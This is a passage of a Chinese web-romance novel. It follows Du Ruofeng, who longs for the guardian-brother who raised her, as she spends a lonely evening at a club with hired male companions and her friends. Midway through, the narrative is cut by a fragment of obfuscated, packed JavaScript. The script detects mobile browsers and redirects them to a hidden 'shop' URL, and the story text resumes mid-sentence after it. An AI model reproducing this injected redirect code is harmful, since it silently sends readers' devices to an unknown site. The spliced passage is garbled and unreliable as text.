硬邦邦的,没有妈妈的怀抱温暖。 他身上很热,像火炉一样,滚烫。 可西装面料冷而滑,其实不舒服,可她还是有些眷恋不舍。 他没有拆穿她,也没有让她起来,就那么半托半抱地让她躺在怀里睡到了下车。 杜若枫装作刚醒的样子,可什么也不问,他也默契地什么都不说,各怀心事地回家去。 一路上杜若枫莫名的难过,她很想问他到底在想什么。 很想问他:你到底有没有对我哪怕有一丁点的感觉。 但他不会回答的。 他就是这么个人,固执起来没有人可以改变他。 但杜若枫不信这个邪。 她突然收到一条语音,她随手点开,梁思悯那不正经的声音顿时响起:宝贝,最近干嘛呢为什么不出来玩,医生有什么好玩的,给你点十个男模排队伺候你。人走账清,毫无负担,谈恋爱多费劲,你不要想不开啊。 杜少霆脸都绿了。 一回家就打电话给梁思谌:“管管你妹,少带坏我妹妹。” 梁思谌“哦”了声,“管不住,你怎么不管你妹,让她少跟不良少女玩。” 杜少霆“啪”就挂断了电话。 最近不知道为什么,莫名有一种孩子到了青春期叛逆的无力感觉。 杜若枫一到家就又要出门,“哥我今晚晚点回,你早点睡。” 一向秉持宁愿多派俩保镖跟着也不干涉她自由的杜少霆,第一次强硬地开口:“不许去。” 14.Chapter 14 傍晚时候又下雪,寒风裹着湿冷气,天灰蒙蒙。 杜若枫还是出了门,不想在家待着,觉得压抑。 她刚听到他说“不许去”,其实有点高兴。 他很少有情绪外露的时候,这样带着情绪的命令,很少。 “为什么?”她固执地问。 他拧眉,神色逐渐平静,又试图端他那哥哥架子:“太晚了。” 太晚了,不安全。 太晚了,影响休息。 太晚了…… 一万个理由,都不是她想听的那个。 以前总觉得就这么过一辈子也不错,但守着一块儿收音机想要看电视,哪怕抱得再紧也是难过。 或许确实该放手了。 她没那么高的觉悟,也没那么通透的心,她想要这个人,是想要思念的时候可以拥抱,难过的时候可以亲吻,她不要一个冷冰冰的雕像。 也不想要一个自己无法更靠近的哥哥。 “我成年了。”她平静的说。 杜少霆看着她,大概是不解她明明一直挺听话,怎么突然变得这么犟,好像非要和他对着干似的。 杜若枫也不明白,他明明知道她想要什么,明明知道她在想什么,可偏偏还是能这么无动于衷。 或许是她道行太浅,定力不足,她的试探显得可笑且幼稚。 她有点累,垂眸妥协说:“我带保镖。” 杜少霆没了脾气,想说什么,最终还是没张口。 但也没再阻止。 杜若枫自己开车,保镖不远不近跟在她车后,左右拱卫,寸步不离。 农历新年的倒数第二天,大家都忙着团聚,杜若枫把车停在会所,进了水云涧。 想了一圈,也没想到一个能约出来的朋友。 最后给兰婷婷打了电话,问她回A市没有。 自从上次兰婷婷威胁杜若枫,杜若枫一口答应之后,她反而消停了,最近都没理会她。 人无聊就想找点乐子。 杜若枫这种喜欢折腾自己填补空虚的更甚,她一个电话过去,兰婷婷那边正在美容,不耐烦道:“有事?” “没有,但有点好奇,你不回家过年吗?” 兰婷婷嗤一声:“土不土。” 年有什么可过的。 杜若枫猜:“其实是因为你嫂子不待见你?” 兰瑞平和兰婷婷倒是亲兄妹,兰瑞平结婚了,有两个小孩,对兰婷婷也算是尽职尽责了,但到底自己家庭更重要,更多事上,还是以自己家庭利益为主。比如妻子非常不喜欢这个小姑子,逢年过节,他就很少要她去家里? “滚!草,你tmd算什么东西?你哥惯着你了不起?等你有了嫂子你也是一个下场,你踏马就是个外人。” 说完“啪”把电话挂了。 恼羞成怒了,戳到痛脚了。 杜若枫又观摩一场戏,忍不住笑了一下,百无聊赖地思索将来杜少霆结婚了,自己会怎样。 想不出来。 大概会比兰婷婷更不想回家。杜少霆如果继续惯着她,她会对嫂子愧疚,杜少霆如果不再把目光放在她身上,她会抓狂。 如果真有那天,她宁愿跟他断绝关系。 “杜小姐,您看要不要找两个人陪您玩?” 经理看她一个人,忙殷勤招呼。 杜若枫点点头,每次来都是朋友一堆,这还是她第一次自己一个人来,且坐了这么久都没朋友到。 有点好奇经理会找什么人,等了七八分钟,等来几个女生,长得漂亮,年龄不大,看起来都文静又书生气。 “小姐,会所来兼职的学生,都是附近音乐学院学乐器的,陪您玩会儿。”经理笑说,然后转头跟几个学生介绍,“我们老板的妹妹,无聊找几个人玩牌,都放轻松点,开开心心玩。” 杜若枫:“……” 她失望地说:“我还以为你会给我找几个小男生。” 亏他想得出来。 经理大惊失色,求饶道:“小姐您可别开玩笑了。” 他们哪儿敢啊,杜总知道还不把他们砍成臊子丢海里喂鱼。 杜若枫撇撇嘴,都怕他。 凭什么。 为什么难受的只有她。 “找几个男生过来。”她吩咐,不动声色威胁,“你怕什么,我硬要要的,杜少霆还能不讲理吗。你怕他,就不怕我?严格来说,这家会所是登记在我名下的。” 经理欲哭无泪,嘴巴张合好几次,不知道说什么,看杜若枫沉下的脸色,皮绷紧了些。 经理窝窝囊囊应了下是,想偷偷联系杜总的,可下一秒保镖围上来,说了句:“杜小姐说,如果您联系杜总,她会让你很不好过。” 杜小姐心善,很少为难人,大概率也只是吓唬他,但经理还是谨慎地应了声是。 五分钟后。 杜若枫靠坐在红丝绒环形沙发上,一边分神看着玻璃窗外细碎的雪花,一边去看眼前站成一排的男人们。 皮相上乘,身材都不错,身高清一色一八零以上。 想仔细看的,却总是凝不下神,总觉得他们面容模糊。于是招招手,微眯起眼睛:“走近点。” 她声音懒倦,莫名带点媚态,却上位者姿态十足。 郑经理站在很远处,默默垂首,刚才就觉得,那神态有些眼熟,思来想去,蓦然一惊。 像杜总。 他不敢迎合,但也不敢拒绝杜小姐心血来潮的要求。 内心焦灼,杜总知道了怕是真要把他丢去沙凌江喂鱼。 平时杜小姐除了招待姐妹也很少有别的活动,且她身边常年保镖不离身,所以没什么人会特意留意这边的动静。 郑经理这会儿被她的俩保镖看着,根本掏不出手机,也不知道有没有人给杜总汇报。 他越想越焦灼。 会所少有这么静的时候,房间里什么声音也没有,杜若枫略抬着头,脸上表情空白,仿佛专注看着,但又仿佛没有。 她确实在走神,想起杜少霆八岁第一次来她家,也是这样的天气。 衍城很少这样的天气,大多数时候冬天总是很短暂,不像A市那么冷,没有花样繁多的节庆,温吞、沉闷。 就像她和杜少霆之间的关系。 “外套脱了,转一圈。”她打起精神,点了其中一个。 想象杜少霆知道后怒不可遏的样子,才终于有了点兴味。 又觉得自己这样可笑。 于是自我反复拉扯,连寻欢作乐都透着索然无味。 男生照做,露出一个职业的甜笑,眼睛会勾人似的,注视她。 还不错,但杜若枫又走神了,礼貌地颔了下首。 停顿几秒,没后文,门口领班便挥了下手,换下一批。 杜若枫兴致缺缺,无聊到开始翻看手机,无意识又看机票,突然想回A市的公寓。 可看来看去,不是觉得这个时间段差,就是觉得那个航空公司服务不好,x航的飞机餐难吃得要死……总之都不合心意。 最后认命地扣下手机。 好吧,是借口,她承认。 没来由的焦躁裹着她,压抑的情绪仿佛有个始终挠不到的痒处,让她必须要做点什么。 又一批人进来,她换了个坐姿,脸上始终是那种没什么情绪的空白,明明是从下往上看,却莫名带着三分审视。 路宁和梁思悯得知她一个人出来闷着,还是选择来陪她,这会儿姗姗来迟,一进来看到立着一排男模吓一跳:“干嘛呢这是?” 杜若枫这才挂上三分笑意:“天太冷了,准备挑个帅哥给我暖床。” 那张乖巧的好学生脸,实在违和,听不出真假。 梁思悯挑眉笑:“行,你家的床大,多挑两个。” 路宁瞪大眼,几不可闻地吸了一口长气,晃了下梁思悯胳膊:“要不我们还是走吧,我怕待会儿她哥砍人的时候溅我们一身血。” 杜若枫被戳中笑点,笑得东倒西歪,过了好一会儿才收敛,酸涩顷刻蔓上来,她有点落寞地笑了笑:“不会,他巴不得吧,都开始琢磨给我安排相亲了。” 其实也没有安排,但的确筛了份名单。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076821|194816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >已经足够伤人了。 “你怎么突然想开了?”梁思悯问她,“我还以为你迟早走上霸王硬上弓的不归路呢。” “我就算把他睡了,他大概第二天还是能装无事发生吧。我有时候觉得他就是个机器人,设定好程序就不会改了。我没招了,我累了,我想找个能给我回应的。”她的声音轻飘飘的,只凑过来挨着她坐的两个人听见了,但实在震撼人心。 这太不像她了。 路宁:“……” 梁思悯:“……” 两个人同时抬手在她面前晃了晃:“宝宝,好好的怎么突然就疯了?我真怕你哥把我俩给一起灭口。” 这会所是杜少霆的产业,但他除了开业剪彩来过一次,其余时间来的次数屈指可数,还没她待得勤。 杜小姐的朋友来了,在场人都松了口气。 没多会儿,领班招呼人都出去。 房间里只留了侍应生。 有人照平常端了酒水进来。 纸醉金迷的销金窟,这一方天地却安静得有点寂寥。 “烦。”杜若枫啜饮着酒,她刚独自喝了许多,虽然还没醉,却已经开始胡言乱语,“不想做人了,想当一头牛,看谁不顺眼就创死他。” 尤其那个姓杜的。 她叹气,憋了满肚子无处可撒的火气。早知道…… 早知道什么呢,后悔的事儿多了,每次都以为能逼他给点表示。 可每次都没有。 他始终滴水不漏,装无事发生装得熟练。 两个装货,也是家学渊源棋逢对手了。 大概是她逼太紧了,他闹绯闻也不像以前那样干脆利索地处理了,秘书也换了个玲珑有致肉眼可见的大美女。 不知道是不是故意给她看的。知道她眼里揉不得沙子,独占欲强,变相逼她放弃这念头? 但她甚至都怕连这个念头都是自己自作多情。 她执拗,而他态度似乎也明确。两个相依为命的人顾虑重重,较着劲试探彼此底线,谁也不拆穿谁,但谁也不放过谁。 暗地里似乎已经惊涛骇浪几次潮涌,但表面还是兄妹情深。 恼火。 真是恼火。 “嗯?”梁思悯没听清,侧耳,“嘀嘀咕咕说什么胡话呢?”她侧过头,看到杜若枫眼底潋滟的波光,被会所昏暗的灯光映照得像是暗夜里的星星,这么漂亮一张脸,总是心事重重的。 都说什么样的父母带出什么样的孩子,杜若枫几乎算是杜少霆带大的,性格看起来千差万别,但多少还是有点相似。 杜少霆这个人霸道,掌控欲太强显得压迫感很重,格外不近人情,杜若枫看起来温和内敛到近乎顺从,但骨子里和她哥是一类人,盯上的猎物,不管多难搞都会弄到手。 梁思悯其实觉得太相似的人不适合在一起,但感情的事谁又能劝得了。 以前她觉得以杜若枫这么锲而不舍的劲儿,杜少霆迟早要缴械投降,可忘记了迟迟没有回应的呼喊是多痛苦的一件事。 她摸了摸她的脑袋,心疼得不行,安慰她:“早该这样了,两条腿的男人多的是,待会儿把那群人再叫来,我给你挑,挑十个八个的挨个儿带出去玩,总有让你顺心的。” 看杜若枫兴致缺缺,又换了个话题想哄她高兴:“听说你们拍戏挺烧钱,缺钱可以跟我说,不行我把季旸的也偷来给你花。” 季旸是梁思悯的老公,俩人从小死对头,见面互掐恨不得给对方挠死,结果掐着掐着掐到一张床上去了,闪婚得猝不及防。 梁思悯每次提起都要骂季旸一句狗东西,恨不得把他埋了。 可杜若枫偶尔却十分羡慕。她和杜少霆每次见面都没什么话说,更别说吵架。 有时也很想不管不顾地吵一架。 但她甚至可以预料到,哪怕有一天她真性情大变对他破口大骂,他大概也只会递上一杯水,说一句:“别伤了嗓子。” 想想就觉得没趣。 好想看他失态的样子。 他这种人,会有失态的一天吗? 想象不出来。